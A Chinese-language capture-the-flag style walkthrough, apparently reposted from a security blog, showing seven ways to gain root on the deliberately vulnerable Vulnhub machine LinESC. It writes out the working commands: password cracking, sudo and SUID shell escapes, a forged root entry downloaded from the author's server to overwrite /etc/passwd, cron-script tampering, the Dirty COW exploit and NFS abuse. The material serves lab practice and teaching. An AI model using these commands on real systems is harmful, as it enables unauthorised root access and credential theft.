【渗透测试】Vulnhub靶场之LinESC

admin 2023年1月7日15:43:01评论81 views字数 4259阅读14分11秒阅读模式
【渗透测试】Vulnhub靶场之LinESC

【渗透测试】Vulnhub靶场之LinESC



【渗透测试】Vulnhub靶场之LinESC



欢迎关注暗魂攻防实验室













前言

本靶场是一台旨在演示Linux特权升级的7种最常见方式的机器

目标:通过7种不同的方式获取root权限

默认凭证:(muhammad:nasef)


NO.1 权限配置错误

一些文件只能由root用户去读取,有时权限配置不正确,导致任何人都可以读取该文件。比如/etc/shadow,该文件存储了密码,正常只能由root用户读取写入。

使用本台机器检查/etc/shadow文件权限

ls -al /etc/shadow

-rw-rw-r-- 1 root shadow 760 2020-12-03 01:57 /etc/shadow

【渗透测试】Vulnhub靶场之LinESC

通过文件权限可知,文件所有者有读和写权限,群组也有读和写的权限,其他人有读权限。说明,该文件都可以进行读取,那么就导致所有人都可以读取密码,进行密码破解。

cat /etc/shadow

【渗透测试】Vulnhub靶场之LinESC

john --wordlist=/usr/share/wordlists/rockyou.txt /root/桌面/pass.txt  

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chicken         (root)    
1g 0:00:00:00 DONE (2023-01-02 19:52) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

【渗透测试】Vulnhub靶场之LinESC

【渗透测试】Vulnhub靶场之LinESC



NO.2 sudo提权

sudo是linux的一项功能,它允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。因此,我们可以滥用此功能来进行特权升级。

sudo -l

【渗透测试】Vulnhub靶场之LinESC

发现三个可以无密码以root权限执行的文件


sudo

通过查看该目录/home/muhammad/vuln/2/,发现有个sudo的c源码,查看一下

【渗透测试】Vulnhub靶场之LinESC


【渗透测试】Vulnhub靶场之LinESC

通过c代码可知,执行该文件可以启动一个shell,并且我们可以以root权限去执行

【渗透测试】Vulnhub靶场之LinESC


apt-get

sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

【渗透测试】Vulnhub靶场之LinESC


NO.3 suid提权

suid是一种特殊权限,允许任何用户以文件所有者身份去执行文件。

寻找suid权限的可执行文件

find / -perm -4000 2> /dev/null

【渗透测试】Vulnhub靶场之LinESC

发现/home/muhammad/vuln/1/suid文件存在suid权限

【渗透测试】Vulnhub靶场之LinESC

同样跟上面的sudo一样,那么就直接执行。

【渗透测试】Vulnhub靶场之LinESC

id查看权限,但不是root,但是whoami是root,说明该shell具有root权限,因为/etc/passwd有读写权限,所以我们可以添加新的用户并且覆盖上去。

首先使用openssl先生成一个密码

openssl passwd -1 -salt  anhunsec  1234567

获得密码:$1$anhunsec$rbeAwrURHHNg2XHd9kMFD0

然后把/etc/passwd文件拷贝一份到本地,然后把密码添加上去


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
muhammad:x:1000:1000:muhammad nasef,,,:/home/muhammad:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:114:MySQL Server,,,:/var/lib/mysql:/bin/false
anhunsec:$1$anhunsec$rbeAwrURHHNg2XHd9kMFD0:0:0:root:/root:/bin/bash
itworks

然后上传到vps,使用python3 -m http.server 2000 建立http服务,在目标主机使用wget下载后,进行覆盖

wget x.x.x.x:2000/pass -O /etc/passwd
cat /etc/passwd

【渗透测试】Vulnhub靶场之LinESC

但是出现了一个问题,切换用户的时候显示没有这个文件

【渗透测试】Vulnhub靶场之LinESC

cat显示已经写入进去了,过了一会儿又自动删除了,就很诡异。

经过询问同事,原来是文件的编码格式问题,windows txt那些打开过,换行符会变CRLF格式,就是rn,所以使用vim时,:set ff=unix 设置一下换行符。

因为cp也是有suid权限的,我们也可以用cp进行覆盖。

【渗透测试】Vulnhub靶场之LinESC

然后切换一下用户就成功了。


NO.4 计划任务提权

crontab是计划的命令和脚本,它们以特定用户的身份在一定时间间隔内自动运行。如果某个脚本以一定的时间间隔以root身份执行,则我们可以修改此脚本。

我们查看一下计划任务

cat /etc/crontab

【渗透测试】Vulnhub靶场之LinESC

root /home/muhammad/vuln/4/script.sh

看下脚本内容

cp /home/muhammad/vuln/4/passwd /etc/passwd

【渗透测试】Vulnhub靶场之LinESC

意思是复制passwd文件定时覆盖掉/etc/passwd

那我们就可以修改passwd,跟上面的suid提权差不多了。这里就不详细写了,直接vim,把用户密码添加上去即可

【渗透测试】Vulnhub靶场之LinESC


NO.5 密码泄露

在某些情况下,可以明显地看到由于不良做法而导致的root密码

history

比如我们可以输入history可以查看历史执行的命令

【渗透测试】Vulnhub靶场之LinESC

发现有个sudo提权到root的命令,但是明显命令是输入错的,意图是su切换到root,然后才是输入密码。这就导致可以猜测密码是chicken。

ssh密钥

在本靶场中,在目录/home/muhammad/vuln/3/里面有保存一个key密钥

【渗透测试】Vulnhub靶场之LinESC

这个密钥可以尝试作为ssh的登陆密钥

ssh [email protected] -i key

【渗透测试】Vulnhub靶场之LinESC


NO.6 内核漏洞提权

我们可以通过linux的内核漏洞进行提权,首先我们可以使用uname  -r查看内核版本

【渗透测试】Vulnhub靶场之LinESC

然后我们可以使用kali中的exploitdb搜索合适的漏洞利用脚本。

searchsploit linux 2.6.24

【渗透测试】Vulnhub靶场之LinESC

这里使用著名的脏牛提权(Dirty COW),脚本是linux/local/40839.c,

searchsploit linux/local/40839.c -m
本条命令就是提取该脚本到当前根目录

【渗透测试】Vulnhub靶场之LinESC

然后上传该脚本,通过脚本内容可知编译方法为:

gcc -pthread 40839.c -o anhunsec -lcrypt

【渗透测试】Vulnhub靶场之LinESC

然后./anhunsec运行,输入新密码

【渗透测试】Vulnhub靶场之LinESC

运行成功后切换用户firefart。密码是自己设置的密码

【渗透测试】Vulnhub靶场之LinESC

然后id可以看到是root权限了。

NO.7 NFS特权提升

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

cat /etc/exports

【渗透测试】Vulnhub靶场之LinESC

我们可以发现/home/muhammad是存在共享的,也启用了no_root_squash

那么我们就直接挂载目录

mount -t nfs 192.168.1.8:/home/muhammad /mnt

【渗透测试】Vulnhub靶场之LinESC

对于共享目录来说,挂载的客户端也有root权限。

那么我们就是可以用上述的几种提权方式提权就行。比如计划任务提权中,在passwd添加新用户。

【渗透测试】Vulnhub靶场之LinESC

并且script.sh加个权限,然后返回靶机去执行它

chmod +sx script.sh

【渗透测试】Vulnhub靶场之LinESC






【渗透测试】Vulnhub靶场之LinESC



【渗透测试】Vulnhub靶场之LinESC

【渗透测试】Vulnhub靶场之LinESC

【渗透测试】Vulnhub靶场之red

【渗透测试】Vulnhub靶场之Ragnar-lothbrok

【渗透测试】Vulnhub靶场之Gaara

ATT&CK实验-T1037-001-引导或登录初始化脚本-登录脚本(windows)


【渗透测试】Vulnhub靶场之LinESC
【渗透测试】Vulnhub靶场之LinESC
微信搜一搜
【渗透测试】Vulnhub靶场之LinESC
暗魂攻防实验室


原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之LinESC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日15:43:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】Vulnhub靶场之LinESChttp://cn-sec.com/archives/1496775.html

发表评论

匿名网友 填写信息